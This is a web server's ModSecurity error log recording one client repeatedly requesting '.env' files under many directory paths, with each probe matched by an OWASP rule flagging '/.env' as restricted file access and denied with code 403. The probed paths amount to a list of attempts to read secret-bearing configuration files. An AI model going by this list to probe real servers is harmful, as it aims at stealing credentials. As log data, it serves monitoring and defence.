[Mon Oct 26 08:55:27.757808 2026] [security2:error] [pid 3034806:tid 3034806] [client 34.126.82.152:42298] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/scripts/.env"] [unique_id "at9NvwVECGDHCtvwjbcprwAAAAI"]
[Mon Oct 26 08:55:27.758079 2026] [security2:error] [pid 3034806:tid 3034806] [client 34.126.82.152:42298] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/scripts/.env"] [unique_id "at9NvwVECGDHCtvwjbcprwAAAAI"]
[Mon Oct 26 08:55:27.763845 2026] [security2:error] [pid 3034810:tid 3034810] [client 34.126.82.152:42352] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /infra/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/infra/.env"] [unique_id "at9Nv7Tw2sbGJE6AyS4L5wAAAA4"]
[Mon Oct 26 08:55:27.764220 2026] [security2:error] [pid 3034810:tid 3034810] [client 34.126.82.152:42352] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/infra/.env"] [unique_id "at9Nv7Tw2sbGJE6AyS4L5wAAAA4"]
[Mon Oct 26 08:55:27.764451 2026] [security2:error] [pid 3034810:tid 3034810] [client 34.126.82.152:42352] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/infra/.env"] [unique_id "at9Nv7Tw2sbGJE6AyS4L5wAAAA4"]
[Mon Oct 26 08:55:27.833618 2026] [ssl:error] [pid 3034837:tid 3034837] (70014)End of file found: [client 100.28.57.133:17287] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:55:27.835726 2026] [security2:error] [pid 3034830:tid 3034830] [client 34.126.82.152:51428] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /llm/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/llm/.env"] [unique_id "at9NvzouFFTcxFhVqAz05QAAACg"]
[Mon Oct 26 08:55:27.835959 2026] [security2:error] [pid 3034830:tid 3034830] [client 34.126.82.152:51428] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/llm/.env"] [unique_id "at9NvzouFFTcxFhVqAz05QAAACg"]
[Mon Oct 26 08:55:27.836287 2026] [security2:error] [pid 3034830:tid 3034830] [client 34.126.82.152:51428] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/llm/.env"] [unique_id "at9NvzouFFTcxFhVqAz05QAAACg"]
[Mon Oct 26 08:55:27.837805 2026] [security2:error] [pid 3034825:tid 3034825] [client 34.126.82.152:51400] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /ml/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/ml/.env"] [unique_id "at9Nvwt-UMteGNTiQA7lHgAAACM"]
[Mon Oct 26 08:55:27.838059 2026] [security2:error] [pid 3034825:tid 3034825] [client 34.126.82.152:51400] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/ml/.env"] [unique_id "at9Nvwt-UMteGNTiQA7lHgAAACM"]
[Mon Oct 26 08:55:27.838446 2026] [security2:error] [pid 3034825:tid 3034825] [client 34.126.82.152:51400] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/ml/.env"] [unique_id "at9Nvwt-UMteGNTiQA7lHgAAACM"]
[Mon Oct 26 08:55:28.010134 2026] [security2:error] [pid 3034832:tid 3034832] [client 34.126.82.152:51366] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /data/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/data/.env"] [unique_id "at9NwPwhPNfu3ad5wk3cZAAAACo"]
[Mon Oct 26 08:55:28.010420 2026] [security2:error] [pid 3034832:tid 3034832] [client 34.126.82.152:51366] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/data/.env"] [unique_id "at9NwPwhPNfu3ad5wk3cZAAAACo"]
[Mon Oct 26 08:55:28.010706 2026] [security2:error] [pid 3034832:tid 3034832] [client 34.126.82.152:51366] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/data/.env"] [unique_id "at9NwPwhPNfu3ad5wk3cZAAAACo"]
[Mon Oct 26 08:55:28.012468 2026] [security2:error] [pid 3034835:tid 3034835] [client 34.126.82.152:51358] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /bot/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/bot/.env"] [unique_id "at9NwNKIdCNRNSgh8pl2ygAAAC0"]
[Mon Oct 26 08:55:28.012681 2026] [security2:error] [pid 3034835:tid 3034835] [client 34.126.82.152:51358] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/bot/.env"] [unique_id "at9NwNKIdCNRNSgh8pl2ygAAAC0"]
[Mon Oct 26 08:55:28.012988 2026] [security2:error] [pid 3034835:tid 3034835] [client 34.126.82.152:51358] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/bot/.env"] [unique_id "at9NwNKIdCNRNSgh8pl2ygAAAC0"]
[Mon Oct 26 08:55:28.020417 2026] [security2:error] [pid 3027735:tid 3027735] [client 34.126.82.152:42188] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /model/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/model/.env"] [unique_id "at9NwHT09R7Np-FQ85dkLQAAAAo"]
[Mon Oct 26 08:55:28.020572 2026] [security2:error] [pid 3027735:tid 3027735] [client 34.126.82.152:42188] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/model/.env"] [unique_id "at9NwHT09R7Np-FQ85dkLQAAAAo"]
[Mon Oct 26 08:55:28.020862 2026] [security2:error] [pid 3027735:tid 3027735] [client 34.126.82.152:42188] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/model/.env"] [unique_id "at9NwHT09R7Np-FQ85dkLQAAAAo"]
[Mon Oct 26 08:55:28.021897 2026] [security2:error] [pid 3032274:tid 3032274] [client 34.126.82.152:42290] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /lib/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/lib/.env"] [unique_id "at9NwCmtoTVUWKg0WJJgZwAAABI"]
[Mon Oct 26 08:55:28.022046 2026] [security2:error] [pid 3032274:tid 3032274] [client 34.126.82.152:42290] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/lib/.env"] [unique_id "at9NwCmtoTVUWKg0WJJgZwAAABI"]
[Mon Oct 26 08:55:28.022284 2026] [security2:error] [pid 3032274:tid 3032274] [client 34.126.82.152:42290] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/lib/.env"] [unique_id "at9NwCmtoTVUWKg0WJJgZwAAABI"]
[Mon Oct 26 08:55:28.057264 2026] [security2:error] [pid 3034810:tid 3034810] [client 34.126.82.152:42352] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /common/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/common/.env"] [unique_id "at9NwLTw2sbGJE6AyS4L6AAAAA4"]
[Mon Oct 26 08:55:28.057478 2026] [security2:error] [pid 3034810:tid 3034810] [client 34.126.82.152:42352] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/common/.env"] [unique_id "at9NwLTw2sbGJE6AyS4L6AAAAA4"]
[Mon Oct 26 08:55:28.057699 2026] [security2:error] [pid 3034810:tid 3034810] [client 34.126.82.152:42352] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/common/.env"] [unique_id "at9NwLTw2sbGJE6AyS4L6AAAAA4"]
[Mon Oct 26 08:55:28.059004 2026] [security2:error] [pid 3034822:tid 3034822] [client 34.126.82.152:51328] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /shared/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "at9NwDgHnF5WpeGdIeXx2AAAACA"]
[Mon Oct 26 08:55:28.059189 2026] [security2:error] [pid 3034822:tid 3034822] [client 34.126.82.152:51328] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "at9NwDgHnF5WpeGdIeXx2AAAACA"]
[Mon Oct 26 08:55:28.059501 2026] [security2:error] [pid 3034822:tid 3034822] [client 34.126.82.152:51328] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "at9NwDgHnF5WpeGdIeXx2AAAACA"]
[Mon Oct 26 08:55:28.102441 2026] [security2:error] [pid 3034806:tid 3034806] [client 34.126.82.152:42298] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /internal/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/internal/.env"] [unique_id "at9NwAVECGDHCtvwjbcpsAAAAAI"]
[Mon Oct 26 08:55:28.102682 2026] [security2:error] [pid 3034806:tid 3034806] [client 34.126.82.152:42298] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/internal/.env"] [unique_id "at9NwAVECGDHCtvwjbcpsAAAAAI"]
[Mon Oct 26 08:55:28.102960 2026] [security2:error] [pid 3034806:tid 3034806] [client 34.126.82.152:42298] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/internal/.env"] [unique_id "at9NwAVECGDHCtvwjbcpsAAAAAI"]
[Mon Oct 26 08:55:28.177843 2026] [security2:error] [pid 3034814:tid 3034814] [client 34.126.82.152:42378] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cmd/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/cmd/.env"] [unique_id "at9NwF1KkDkSDUaIwfzbawAAABc"]
[Mon Oct 26 08:55:28.178076 2026] [security2:error] [pid 3034814:tid 3034814] [client 34.126.82.152:42378] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/cmd/.env"] [unique_id "at9NwF1KkDkSDUaIwfzbawAAABc"]
[Mon Oct 26 08:55:28.178343 2026] [security2:error] [pid 3034814:tid 3034814] [client 34.126.82.152:42378] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/cmd/.env"] [unique_id "at9NwF1KkDkSDUaIwfzbawAAABc"]
[Mon Oct 26 08:55:28.210964 2026] [security2:error] [pid 3023736:tid 3023736] [client 34.126.82.152:42204] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /utils/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/utils/.env"] [unique_id "at9NwHtuNRyqJbUWH7JwTAAAAAQ"]
[Mon Oct 26 08:55:28.211181 2026] [security2:error] [pid 3023736:tid 3023736] [client 34.126.82.152:42204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/utils/.env"] [unique_id "at9NwHtuNRyqJbUWH7JwTAAAAAQ"]
[Mon Oct 26 08:55:28.211513 2026] [security2:error] [pid 3023736:tid 3023736] [client 34.126.82.152:42204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/utils/.env"] [unique_id "at9NwHtuNRyqJbUWH7JwTAAAAAQ"]
[Mon Oct 26 08:55:28.292117 2026] [security2:error] [pid 3034830:tid 3034830] [client 34.126.82.152:51428] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /portal/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/portal/.env"] [unique_id "at9NwDouFFTcxFhVqAz05gAAACg"]
